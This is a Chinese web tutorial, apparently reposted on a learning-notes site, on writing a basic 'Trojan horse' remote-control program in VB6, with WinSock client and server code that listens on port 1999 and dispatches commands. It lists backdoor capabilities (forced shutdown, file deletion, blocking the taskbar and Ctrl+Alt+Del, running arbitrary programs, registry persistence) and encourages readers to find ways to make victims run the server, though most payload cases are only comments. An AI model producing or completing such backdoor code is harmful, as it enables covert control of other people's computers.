转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
浅谈用VB6.0编写“特洛伊木马”程序         ★★★★

浅谈用VB6.0编写“特洛伊木马”程序

作者:闵涛 文章来源:闵涛的学习笔记 点击数:734 更新时间:2009/4/23 15:03:32

 

  木马,也称特伊洛木马,名称源于古希腊的特伊洛马神话,是一种远程控制软件。现在网络上流行的木马软件基本都是客户机服务器模式也就是所谓的CS结构,目前也有一些开始向BS结构转变,在这里暂且不对BS结构进行详谈,本文主要介绍CS结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

 

Private Sub cmdConnect_Click()
  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
   MsgBox (请输入主机名或主机IP地址。)
   Exit Sub
  Else
   If Len(Text1.Text)  0 Then
    tcpClient.RemoteHost = Text1.Text
   Else
    tcpClient.RemoteHost = Text2.Text
   End If
  End If
  tcpClient.Connect
  Timer1.Enabled = True
End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
  tcpServer.LocalPort = 1999
  tcpServer.Listen
End Sub

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
  If tcpServer.State  sckClosed Then
   tcpServer.Close‘检查控件的 State 属性是否为关闭的。
  End If  ’如果不是,在接受新的连接之前先关闭此连接。
  tcpServer.Accept requestID
End Sub

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

  Dim strData As String
  Dim i As Long
  Dim mKey As String

  tcpServer.GetData strData
  ‘接收数据并存入strData
  For i = 1 To Len(strData)
   ‘分离strData中的命令
   If Mid(strData, i, 1) = @ Then
    mKey = Left(strData, i - 1)
    ‘把命令ID号存入mKey

    ‘把命令参数存入strData
    strData = Right(strData, Len(strData) - i)
    Exit For
   End If
  Next i
  Select Case Val(mKey)
   Case 1
   ‘驱动器名、目录名、文件名
   Case 2
    强制关闭服务器端的计算机
   Case 3
    强制重启服务器端的计算机
   Case 4
    屏蔽任务栏窗口;
   Case 5
    屏蔽开始菜单;
   Case 6
    按照客户机端传过来的文件名或目录名,而删除它;
   Case 7
    屏蔽热启动键;
   Case 8
    运行服务器端的任何程序
  End Select
End Sub

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。 
 


[VB.NET程序]利用VB进行SQL2000的数据备份和恢复  
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台